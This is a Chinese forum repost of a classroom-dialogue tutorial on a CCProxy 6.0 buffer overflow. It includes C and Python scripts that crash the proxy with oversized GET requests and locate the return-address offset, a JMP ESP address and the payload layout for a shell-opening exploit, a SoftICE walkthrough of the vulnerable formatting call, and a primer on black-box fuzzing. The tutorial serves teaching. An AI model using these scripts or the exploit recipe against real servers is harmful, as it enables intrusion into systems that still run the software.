漏洞的发现、分析和利用 |
12月,平安夜、圣诞节、元旦,接着就是寒假和春节。整个校园充满了一种节日的氛围和思亲的情绪。 “大家圣诞节准备怎么过啊?”老师喜欢在正式上课前聊聊别的,好让大家的注意力慢慢集中起来。
“我要美美吃上一顿,然后好好睡上一觉! ”玉波鼓鼓嘴说。 大家都大笑起来。 🤳🗺🍖🉑🐯 “外国人的节有什么好过的,我要好好准备考试,然后回家过春节,与家人团聚! ”古风认真的说道。 “对啊,老师,我们接着有很多门的期末考试呢,这门课……”宇强问道。 “嗯,我理解大家的意思!这门课需要真正的实践,要亲自编写才行。纸上的考试并不能检查出什么。而且平时大家也很认真,所以这门课就不进行期末考试了!” “哦!太好了! ”教室里一阵欢腾。🧓🧥💾🤔👁 “我会在课中布置一点作业,大家在寒假里完成,下学期开学交来,作为考试的成绩。本学期最后两次课, 涉及到一个大家感兴趣的东西——漏洞的发现、分析和利用。” “好啊!终于讲到漏洞本身了! ”大家都很高兴。 🧓🩳📀🤪👂 “呵呵,不过,我有言在先,难度比较大,也有点麻烦,大家可要仔细和耐心啊!我们先来看一个具体例 子——CCProxy软件的漏洞!” CCProxy漏洞的分析 “CCProxy是个代理服务器,支持HTTP、FTP、Telnet等多种服务。当有多台主机,而只有一个公网出口 时,可将CCProxy安装在出口主机上,作为一个代理服务器。其他机器就可通过连接CCProxy代理来访问外网。” 🖐🏠🦞💲🐉 老师说:“这种结构特别适合小型网络和个人家庭的使用,典型的CCProxy配置如下图。” 🧑🎤💎🖨😘🧠 CCProxy的安装与设置 “我们安装一个实际用用吧!安装过程很简单,如同一般软件的安装一样。安装完毕后,启动CCProxy, 其界面如下图。” 🤟⛵🥄💲🐅 “这个界面真是简单明了啊! ”玉波瞪大了眼睛。 “是的,设计得很清晰,所有操作一看就知。我们自己设计软件时,也要注意界面的人性化。”老师说道, “如果要对CCProxy进行设置,点击工具栏上的‘设置’按钮,弹出设置对话框,如下图。” 👏🏦🍇🅿🐴 “所有常用的服务都已经配置好了。我们看,HTTP代理服务采用的是808端口。所以在内部其他机器上, 点击IE菜单的‘工具栏一Internet’选项,在弹出对话框中选择‘连接’选项卡,再点击‘局域网设置’, 就可设置浏览器的代理为安装CCProxy主机的IP,端口为808,如下图。” 👌🗼🍍‼🐴 “哦,好爽啊!” “嗯,除了 808端口,CCProxy还开放了 1090、2121等端口。CCProxy 6.0版本有多处漏洞,这里我们就分析对808端口请求超长‘GET’字符串时,会引发的缓冲区溢出漏洞。” 🥷⌨🤔🤛 漏洞的定位和利用 “我们用VC写一个程序,往CCProxy的808端口发送超长字符串,其格式如下:” GET \MMAAAMMAAA (4085 个 A) HTTP/1.0\x0D\x0A\x0D\x0A 🤟🚤🍓🔞🐶 “发送程序4085byte.cpp 比较简单,就是网络通信的客户端程序。给出源代码如下,大家可以再巩固一下socket编程。” [mw_shl_code=c,true]#include <winsock2.h> #include <stdio.h> #pragma comment(lib,"Ws2_32") 👃⛪🌰❎🦮int main() { WSADATA ws; SOCKET s; int ret; 🤙🧳🍓✡🦟char buf[5000]; int i; int nLen; //初始化wsa WSAStartup(MAKEWORD(2,2),&ws);👮♂️👒🪣😇🤳 //建立socket s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); //连接对方808端口 struct sockaddr_in server; server.sin_family = AF_INET; 👈🦼🦀🅾🐕server.sin_port = htons(808); server.sin_addr.s_addr=inet_addr("192.168.3.151"); //连接! if (connect(s,(struct sockaddr *)&server,sizeof(server) ) < 0) {👳👔🪥😛👀 printf("connect error"); return -1; } nLen = 0; strcpy(buf, "GET /"); 👄🌞🥛♏🦄nLen += sizeof("GET /")-1; for(nLen; nLen<4080+5; nLen++) { buf[nLen] = 'A'; } 💅🏫🍞☯🦊buf[nLen] = '\0'; strcat(buf, " HTTP/1.0\x0D\x0A\x0D\x0A"); nLen += sizeof(" HTTP/1.0\x0D\x0A\x0D\x0A")-1; //构造字符串后,发送 send(s, buf, nLen , 0); 🤟🚈🍓☪🦟printf("send OK!"); closesocket(s); WSACleanup(); return 0; }[/mw_shl_code] 🧑🎤👚🪣😷👈 “嗯,就是初始化→建Socket→连接→发送! ”宇强总是能看透本质。 “对!请注意,发送数据的格式一定要保证正确,前导字符是‘GET /',然后是大量的字符‘A’,而结束字符是‘HTTP/1.0\x0D\x0A\x0D\x0A’。这样才能让CCProxy认为是HTTP的请求,从而处理它。“ 🤝🌕🍌ℹ🦦 “哦!‘\x0D\x0A’代表什么呢? ”古风问道。 “这是HTTP协议中规定的请求结束标志,具体可以参看RFC文档! ”老师回答道,“我们发送给代理服务 器后,CCProxy发生缓冲区溢出,就会弹出出错对话框,XP下如下图。” 👍⛵🌶✡🦄 “哎哟,和Win2000的不一样也,看不到出错时EIP的值! ”玉波嚷道。 “不,我们也可以看。点击蓝色的字——‘请单击此处’。就可看到如下图的报错框。其中第二排有Offset: 41414141’ 。表示执行 0x41414141,就是 ‘AAAA’ 的 16 进制!” 🧑⚕️🧣🧹🤮💅 “哦,那还是和Win2000下的一样了! ”宇强满意的说,“我们只需改变bf的赋值过程,分别定位千位、 百位、十位和个位就可以了。” “是的! ”古风就要去改变程序了。 ✋🚠🍼🈴🦋 “等等,等等!”老师急阻止,“定位我们已经详细的讲过了,这里不是重点。具体的定位程序下来大家参考 CCProxyl.cpp、CCProxy2.cpp、CCProxy3.cpp、CCProxy4.cpp ,它们分别定位千位、 百位、十位和个位。” “大家下去可自己练习一下。通过它们,我们可定位出:从4052个A开始的地方就是返回点。当然,验证还是有必要的,我们把数组全部赋为A,而4052开始的4个字节赋为B,构造如下:” 💪🪐🥣🅿🦖 [mw_shl_code=c,true]for(i=0; i<4080; i++,nLen++) buf[nLen] = 'A'; buf[4047+5] = 'B'; buf[4048+5] = 'B';👮♂️🥼📡😡👍 buf[4049+5] = 'B'; buf[4050+5] = 'B';[/mw_shl_code] “重新启动CCProxy,运行修改过后的测试程序。这次弹出的对话框如下图,果然是42424242覆盖到了返回点。” 👵🩳📷😃👃 “证明的确是4052的地方覆盖了返回点。有了返回点的位置,写出利用程序简直就是轻车熟路了! ”老师说道。 “是啊,我们覆盖4052个A,然后是JMP ESP的地址,这个是……是……”玉波挠了挠后脑勺。 👍🗼🍽⚛🦬 古风一口答道:“是 0x7FFA4512。” “对!最后跟上ShellCode,按照下面这个格式就行了。” 🧓🧥⌨😤👁 GET /AAAA(4052 个 A)…JMP ESP 地址 SHELLCODE HTTP/1.0 “嗯!是的。”老师补充道,“但因为覆盖了 4052个字节,所以我们可以把ShellCode放在前面,而在 JMP ESP的地址后放一个JMP BACK的指令,跳回到ShellCode中。格式就像这样:” GET \ AAAA…AA ShellCode 0x7FFA4512 JMPBACK HTTP/1. 0 🧑🍳👔🖨😴👍 大家都点头称是。 “4000多个字节,不用实在浪费了,而且加在后面,反而可能会引发异常。好! ShellCode用完成开端口功能的代码。我们构造出利用程序JmpEspShell.cpp 。执行!登陆成功!如下图。” 🧑🚀🩰🛏☠🙌 漏洞的分析 “Yeah!成功! ”大家都叫了起来,然后纷纷说道,“虽然成功利用过多次,但真的对一个新漏洞利用成功了,还是有点激动的,呵呵!” 🖕🏦🌶♻🦖 “这很好啊!其实正是这些小小的成就,让你品尝到了努力成功后的喜悦。这样才能触动你的进一步发展, 实现真正的成功。”老师说道。“好了,进入我们的重头戏,来分析漏洞的成因吧!” “好啊!这下可以看看实际程序中的漏洞是怎样出现的了。”大家高兴的说。 👀🎢🫑📶 “首先启动我们的调试利器——SoftICE。” “嗯,在jmp esp转换成call ebx的利用方式那里我们使用过,果然很强大! ”古风真是好记性。 👂⛄🎂ℹ🐡 “这位同学记忆力真好!这里我们会进一步深入使用它。启动CCProxy,再重新发送全‘A’的过长数据。 因为会产生异常,所以SoftICE就会捕获异常,自动弹出来。停在了下面这句话:” 001B : 41414141 INVALID 小知识:🧑🎤🧢📀😴🙌 SoftICE默认情况下是开了异常捕获功能的。即有什么异常发生时,会自动激活SoftICE。我们可使 用指令Fault on和Fault off来打开或关闭异常捕获功能。 “ 001B : 41414141 INVALID意思是41414141指向的指令非法。”老师解释道。 “哦!那些指令究竟是什么数据呢? ”宇强进一步问道。 ✋🌞🎂🆚🐥 “在SoftICE下,我们输入code on命令显示机器码,就可以看到对应的地方全是FFFF数据。” 001B : 41414141 FFFF INVALID 👵💄🧯🤑✋ “哦! ” “我们再看看上下左右相关的数据吧,输入data命令,就会出现一个数据窗口。然后输入deip,就会在数据窗口中显示出如下的值。” 001B : 41414141 ?? ?? ?? ?? ?? ?? 🤙⛵🍊☯🐥 001B : 41414151 ?? ?? ?? ?? ?? ??“上下左右都是非法的啊?” “是的,因为没有代码加载在这个部分,所以系统默认填充1,就是全F。”老师解释道,“而我们的关键, 就是要找到发生问题的那段程序。”👴👞🛒🙄 “我们看看现在堆栈里面的值,和前面类似,这里用命令d esp,就出现了现在堆栈数据的情况。” esp = 012A790C 0023:012A790C 41 41 41 41 41 41 41 41-4 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 🧓👒🪦😇👀 0023:012A791C 41 41 41 41 41 41 41 41-4 41 41 41 41 20 48 54 AAAAAAAAAAAAA HT 0023:012A792C 54 50 2F 31 2E 30 0D 0A TP/1.0 “原EIP和堆栈都已被我们过长的数据覆盖,我们无法从现今的堆栈中找到问题代码的位置。” ✌🌡🥣♾🦄 “是啊!怎么办呢? ”小倩着急的说道。 “我们先推理一下。现在ESP=012A790C,程序返回后,堆栈指针ESP会指向012A790C;所以应该是某个函数(假设是函数A)执行前把返回地址存在了 012A790C-4或附近中;然后在函数A执行过程中作了无 长度限制的字符串拷贝,使返回地址被覆盖成了我们发送的41414141! ” “那个函数A就是有问题的函数;而无长度限制的字符串拷贝就是Strcpy、Strcat—类的操作。” 🦼🍌ℹ🦌 “哦,难道我们要猜测哪个函数A在012A790C附近中保存了返回地址? ”宇强说道。 “非常正确! ”老师特别高兴,“第一种方法:用bpx命令往Strcpy、Strcat等函数入口处设断点,然后返回函数A的空间,看是否会出现覆盖问题。” 🤛🏫🎂🅿🦮 “第二种方法,因为函数A会往012A790C附近写入返回地址,所以我们设置断点,在往012A790C这个地 址写东西时中断下来,看能否找到有问题的函数A。” “我们这里用第二种方法。” “退出SoftICE,回到Windows下重新启动CCProxy。再进入SoftICE输入addr proxy,表示进入进程空间;然后输入bpmd 012A790C w,表示往012A790C写东西时停下来。” 👂🗼🍼⚛🦠 大家眼睛都看得直直的,小倩也在边听边记。 “好,设置完毕后,我们再运行攻击代码,这样,当往012A790C写入的时候,就会被SoftICE中断。” 👊⛪🧊🅰🕊 “运行过程中,会有好几次中断,但显然都不是保存函数返回地址的操作,我们按F5继续让它执行。终于到了下面这句时,SoftICE被中断弹出。”老师指住下面的指令说。0040F2A0 : call 0040A410 “此时ESP=012A790C,即先把返回地址保存在012A790C中,然后跳到0040A410函数内部执行。根据我们的猜测,相信就是这个函数在处理时,返回地址被覆盖了。” 👳👜⚔💩👃 “函数中究竟是什么东西导致错误了呢?我们跟进去看看吧!按F8动态跟踪进0040A410函数内部。” “哎哟!这里全是反汇编的代码,怎么能看懂啊? ”玉波嚷了起来。 🥷🩳📐🥰👈 “直接让你看出有问题的地方,的确比较困难。但我们是在动态跟踪啊!当有Push push call时,我们就知道这是在调用函数,然后可以通过d命令来查看参数究竟是什么。” “我们实际来使用一遍吧!当执行到0040A5F8: 55 push EBP这句时,我们输入d EBP,发现压入的参数内容是:” 192. 168. 3.150 unknown Web GET /AAAAAAAAAAAAAAAAAAAAAAAAA 🤳💈🥩🈷🐉 “哦!就是我们发送的字符串多了一些东西!” “越来越近了!就要水落石出了吧!”大家议论纷纷。 🤞⛪🍏🆎🦟 “嗯!我们继续。接下来是这句指令:” 0040A5F9: 51 push ECX “输入d ecx命令,发现内容是时间信息。为:2004-11-25 16:46:56。” ✌🚗🍞♻🕊 “下一句:0040A601: PUSH 0046F110。我们输入d 0046F110命令,发现是[%s] %s格式化串! “最后,PUSH edx,再Call —个函数。我们根据分析参数的内容,知道应该是执行下面类似的函数。” 👁⛴🍧❓🪶wwspritnf ( edx, [%s] %s 2004-11-25 16:46:56 192. 168. 3. 150 unknown Web GET /AAAAAAAAAAAAAAAAAAAAAAAAA )👩🧦⚔🥰👎 “这个拷贝操作是把日期、时间和我们发送的过长字符串,拷贝到EDX指向的内存中;因为没有字符串长度的限制,所以把保存的EIP也覆盖了,从而导致溢出。” “哦!原来漏洞真的是这样产生的啊!”同学们说道。 👨🦱👚🔒😈🖕 “我们通过代码来计算一下覆盖点的位置和长度。此时EDX=012A6904,为字符串保存的起始地址;而ESP = 012A790C,为保存的函数返回地址。” “两个位置相减,ESP—EDX=012A790C —012A6904 = 0x1008 = 4104。那么,就是要覆盖4104那么长的字符串,才能到达函数返回地址。” “刚才,我们定位得到的A的长度是? ”老师问道。 🧒👞🧹😔🧠 “4056! ”古风一口报了出来。 “哇!好记性!大家看看参数,除了我们的A,还包括日期、时间、IP、unknow WEB和GET等字符串,再 加上格式化输出[%s ] %s中的‘[’字符’]’字符和一个空格,大家数数有多长!” 👨🦱🛍🛏😴✋ “嗯,一共是48个字节。”古风很快的数完后说道。 “对!所以我们覆盖的A正好是:分配空间一其他字符长度= 4104 —48 = 4056! ” “哦!原来是这样啊!”👴🧢🗝😋👎 “我们继续执行。果然,保存的EIP被覆盖;所以,就是这个函数的执行导致了缓冲区溢出,分析成功!” 小结漏洞分析过程: 1.启动有漏洞程序,启动SoftICE并打开异常捕获开关(默认打开);👨🎨👗💊😊💪 2.发送过长的字符串,引发程序的异常,SoftICE弹出; 3.查看此时的ESP的值并记下,假设是AAAA; 4.退回用户空间,重新启动漏洞程序; 5. 按CTRL+D进入SoftICE,用addr命令进入程序空间;再用bpmw AAAA w设置写断点; 6.再次发送过长字符串; 👌🌧🥑🅿🐢7.SoftICE会在往AAAA地址写操作时弹出来;我们可分析是哪一个函数在该点保存了返回地址; 8.跟入该函数;注意用d命令查看里面调用的各函数参数的值;当发现某个函数有我们发送的过长字符串和‘%s’ 一类的参数时,就仔细分析,多半是该操作的问题!从而分析清楚漏洞产生的原因。 黑盒法探测漏洞和Python脚本 “哇!好啊! ”大家都情不自禁的鼓起掌来。 👄🚘🍍📳🐉 “怎么样?大家有收获吗?”老师向台下问道。 🧑💻👓🦯🥲👀 “有啊,不仅知道了程序有溢出漏洞,溢出点在哪个位置,还知道了为什么会有漏洞。”古风说道,“不仅知其然,还知道了其所以然!” “看来实际的软件存在溢出漏洞,还是用了 Strcpy这类没有限制长度的拷贝啊! ”小倩眨了眨眼。 “嗯,更知道了调试分析漏洞的方法! ”玉波满意的说道。🦺🦯💩🙏 “对!这个才是最重要的!”老师笑着说,“这样,大家以后才能独自分析新的漏洞、新的特例。真正在解决问题中提高自己。” “但,我感觉漏洞的发现还是有偶然性啊! ”宇强说,“需要正好发这个包时,程序崩溃了,才能发现漏洞,要有好大的运气啊!” 👨🦱🩴📥😥🤛 “虽然的确有一定的偶然性,但只要我们按照一定的方法,遵循一定的规则,就可在尽量短的时间内,尽量多的发现存在的缺陷。”老师说道,“这就是测试的基本原理;而测试,分为黑盒测试和白盒测试两种。” 黑盒测试原理 “黑盒法测试,是在不知道软件内部结构、程序流程和处理代码的情况下,从软件声称的功能出发,测试检测每个功能是否都能正常使用。” 👆⛄🍖🈳🐞 “所以黑盒测试也称功能测试,它把程序看作一个不能打开的黑盆子,在完全不考虑程序内部结构和内部特性的情况下,在程序接口进行测试。” “我们无法证明一个程序是正确的,哪怕是一个很简单的程序。”老师喝了口水后说道。 “唔?什么意思?”古风不解的问。👩🥼✒🤤👂 “因为我们要证明一个程序是正确的,就需要对所有的输入都证明,且得到正确的结果,而这是不可能的!” “举个例子,比如,两个整数a, b的相加程序,z = a+b,这个简单吧?我们要验证其正确性,就得把a, b所有的取值都输入计算一遍,看输出的结果是否正确。” 👩🕶🖲😭🖕 “在VC里,整型的范围是32位,大概就是-2X10E9~+ 2X10E9,所以计算机能表示的整数的个数大概 是4X10E9个。对a和b两个整数来说,其取值的组合个数就是4X10E9X4X10E9=16X10E18种!” “假设我们2秒中验证一个测试数据,那么就需要16X 10E18/2 = 8X 10E18秒= 25X 10E10年!就是200 多亿年的时间!” 👨🎨🦺🔭💩💅 “啊!不算不知道,一算吓一跳! ”玉波瞪大了眼镜。 “是啊!所以如果我们现在写一个z = a+b的程序并开始证明其正确性,那么就要等到200亿年之后才能宣布。200亿年?宇宙可能都不存在了!” “哈哈!是啊! ”大家都笑了起来。 “而且测试不仅要考虑测试合法的输入,还要考虑非法的可能输入。所以理论上,测试情况应该有无穷多 个!只用把这无穷多个都测试完毕了,我们才能证明某个软件是正确的!所以,测试不是为了证明软件是正确的,因为我们无法证明,而是为了尽可能的发现迄今为止没有发现的漏洞!” 🙏🔥🥩🦕 “哦! ” “所以,测试是很讲究方法和策略的,以满足用尽可能少的用例和时间,发现尽可能多的漏洞。” ✌🎠🍭🐠 小知识: 黑盒测试方法主要有等价类划分、边值分析、因果图、错误推测等。 👦👜🩸💀👂 等价类划分:把所有可能的输入数据划分成若干部分(子集),然后从每一个子集中选取少数具有代表性的数据作为测试用例。 边界值分析:因为大量的错误是发生在输入或输出范围的边界上,而不是发生在输入输出范围的内部,因此,针对各种边界情况设计测试用例,可以查出更多的错误。 因果图方法:考虑输入条件之间的联系、相互组合等。采用一种适合于描述对于多种条件的组合,相应产生多个动作的形式来考虑设计测试用例,这就是因果图(逻辑模型)。 🧑🍳🪖🔒😥✍ “比如,我们要对CCProxy处理HTTP协议的部分进行黑盒测试,就可以对HTTP协议进行分类。对协议的 每一个字段分别测试长度要求的最小值和最大值;或按一定的比例增加测试字符串的长度。这样就争取用 最少的测试用例发现漏洞。” “哦! ” “而对于黑盒测试来说,首选是使用Python语言 👂💈🍪♻🦉 Python 简介 “Python是种脚本语言。使用简单,但功能很强大,特别是构造测试用字符串时很方便;而且集成了很多现成的应用协议,使用Python测试,很容易发现漏洞。” 小知识:脚本语言👴🧥🏮😷🙌 脚本语言是类似DOS批处理、UNIX Shell程序的语言。脚本语言不需要每次编译再执行,并且在执行中可很容易地访问正在运行的程序,甚至可动态修改正在运行的程序,适用于快速开发以及完成一些简单任务。 解决问题需要诸如可变长度字符串等数据类型,这样的数据类型在脚本语言中十分容易,而C语言则需要很多工作才能实现。 哎哟,第一次听说,还什么都不懂,怎么测试啊? ”古风说道。 “呵呵,大家有了 C语言的基础,使用Python简直是轻松之极。我们先来安装吧!要安装Python和 pyOpenSSL。在Windows环境下,当然安装Windows版本的Python 了,推荐安装Python 2.2.x的版本,因为可以找到For Python 2.2.x的Win32编译版,比较方便。当然我们也可自己编译成for Win版,安装 过程如下图”👨🦱🕶📞🥰🦷 “安装完毕后,我们任意新建一个文件,改成.py后缀名,可以看见为py文件变为了一个蟒蛇图标,如下图,说明Python安装成功。” 👨⚕️👖🧹🤬🖕 “hoho!图标好可爱啊! ”小倩等几个女生说道。 “嗯,但其实和蟒蛇无关,命名是由BBC的‘Monty Python’s Flying Circus’节目而得。不过使用起来, 大家会感到它的确比较可爱。” 🚗🧊♏🦌 “我们点击‘开始一程序’里面的‘Python2.2—Python (command line)’,就可进入Python的解释程序 界面,如下图。” 🥷🩴🪥😤🦴 “进入解释程序的环境后,解释程序处于交互状态。在这种状态下,系统提示输入下一个命令,这一般是 三个大于符号(即>>>),如果键入文件尾符号——Windows中为‘Control-Z’,就可正常退出解释程序, 如下图。” “我们来看一个简单例子,看看怎么使用。” 👳🧢🪦😤🖕 “Hello World?”大家都知道一般的入门是写个Hello World程序。 老师一本正经的说:“不,这个太简单了,我们输出‘Hello, ww0830’吧!” ✋🗺🍓🆎🐥 “晕!不是一样的啊!” “呵呵,你们也可改成自己的名字啊!当看到自己的名字成功打印出来时,就会感到很有成就感,更能鼓励自己! Python在输入提示符‘>>>’下时,是工作在交互模式。输入命令就会马上执行,然后又会等待 输入下一条执行。我们输入print ’hello ww0830! ’,就会马上打出来,如下图。” “该交互模式可用于测试短小语句的执行效果;也可测试较大系统中的部分组件。但缺点是不能保存这些指令,如果要反复输入时也比较麻烦。所以,我们可用文本编辑器编辑命令,然后存为py后缀名的文件。 以后就可以一直使用了。” “我们打开记事本,输入如下命令:” 🤌⛪🍖🈴🐻[mw_shl_code=python,true]import sys print sys. argv [/mw_shl_code] “然后另存为test.py。这两句指令输出该py文件执行时带的参数。我们在DOS提示符下运行,结果如下图。 ” 🤌🏦🫑🆘🦚 “其实,Python最方便的地方,一个是构造字符串,另一个是本身已经封装好了很多网络协议,我们可直接使用它来探测软件对网络协议的处理,以期望发现漏洞。” “好了,介绍就到这里。我们实际用Python来写网络协议的测试用例吧!” ✌🛑🎂🅿🐖 “啊! Python的网络编程还不是很了解呢! ”古风担心的说道。 “没关系,我会给出详细解释的。而且有了 C语言编写网络程序的基础,你们会发现用Python的确很可爱。 但关键的,还是要明白思路。” ✌🗺🥣⚛🐶 实例——Python 探测 CCProxy 漏洞 “我们用Python来对刚才讲解的CCProxy漏洞进行探测和定位。 “刚才使用VC编程进行探测时,构造超长字符串很麻烦,而且又要建Socket,又要连接。但我们用Python 写一个探测CCproxy漏洞的程序则非常简单,只需下面四句。” [mw_shl_code=python,true]>>> import httplib >>> conn = httplib.HTTPConnection("192.168.3.151:808") 🧓🩲🛋😄🖕 >>> a = 'A'*4080 >>>conn.request("GET",a)[/mw_shl_code] “看,192.168.3.151上的CCProxy崩溃了,定位报错框如下图,就是0x41414141覆盖了函数返回点。 测试完成!” 👂🚤🥩®🐂 “啊?这就行了啊? ”大家一愣,然后回过神来嚷道,“用Python写测试程序太容易了吧! “呵呵,是的,如下图。” “解释一下上图: 第一句‘import httplib’是加载http协议包,Python封装了很多协议包,我们直接使用就可以了; 第二句 ‘conn = httplib.HTTPConnection(〃192.168.3.151:808〃)’ 就是使用协议包里 面的函数,连接目标机192.168.3.151的808端口; 第三句‘a =’A’*4080’构造4080长度的‘A’赋与 变量a,这是脚本的优势,直接用就可构造指定长度的字符串;👩🧦⌨☠🤌 最后一句是‘conn.request(〃GET〃,a) ’, 即把字符串a作为http的get请求发送过去。” “进一步,我们用Python定位千位,只要发送如下字符串就可以了。” [mw_shl_code=python,true]import httplib 🧑🌾👞💳🥰🧠 conn = httplib.HTTPConnection("192.168.3.151:808") s = 'A'*1000+'B'*1000+'C'*1000+'D'*1000+'E'*80 conn.request("GET",s)[/mw_shl_code] “报错对话框显示为Offset: 45454545,说明千位是0x45-0x41 = 4。如下图。“ 🤟🎠🍏ℹ🦕 “依次类推,我们可以定位十位,就是4000个A,然后10个A, 10个B, 10个C……程序如下:” 👁⛵🧊💲🪰 [mw_shl_code=python,true]import httplib conn = httplib.HTTPConnection("192.168.3.151:808") s = 'A'*4000+A'*10+'B'*10+'C'*10+'D'*10+'E'*10+'F'*10+'J'*10+'H'*10 conn.request("GET",s)[/mw_shl_code]👦🦺🎷😛🤳 “报错对话框显示为Offset: 46464646 ,说明十位是0x46-0x41 = 5。” “最后定位个位。是在4050个A后,输入A到J十个字符,程序如下:” 🦷⛵📶🦊 [mw_shl_code=python,true]import httplibconn = httplib.HTTPConnection("192.168.3.151:808") s = 'A'*4000+A'*50+'ABCDEFGHIJ' conn.request("GET",s)[/mw_shl_code] 👨⚕️👞🪓🤐👃 “这次报错对话框显示为Offset: 47474747,说明个位是0x47-0x41 = 6。返回点轻松定出,就是4000 + 50 + 6 = 4056,定位完成!” “有了返回点,攻击利用程序的编写也很简单,把各个字符串段用‘ + ’号连起来就OK 了。我们测试,也成功!” “哇!实在是太快、太方便了,就跟方便面一样! ”玉波说道。 👍🌦🍚🚷🪰 “呵呵,是啊! Python既有脚本语言构造字符串的优势,又有很多现成的网络协议包可以使用,所以黑盒测试是Exploit编写的必备良药!” “还有许多使用Python语言探测漏洞的自动工具和方法。”老师说道,“推荐使用fusser.py程序,它可对SMTP、FTP、POP3服务器进行自动检测。” 🥷👜💿😒🖐 老师介绍完后说道,“我给大家布置一个作业,用fusser.py检查warFTP1.6的漏洞,并试着分析一下利用方法和漏洞的成因。Ok?今天就到这里,放学!”
帖子热度 1.4万 ℃
小执念在路边丢垃圾被发现,被罚款2 个 金币.
|
|
1 .先请大家注意我的头像。看到什么诡异的吗。
2 然后请大家仔细看我的ID,有什么内涵? 3 没看出来就默念我的ID 十遍,然后结合我的头像一起看!! 4 好了,你继续往楼下看吧,我就是来混脸熟的。#y416: |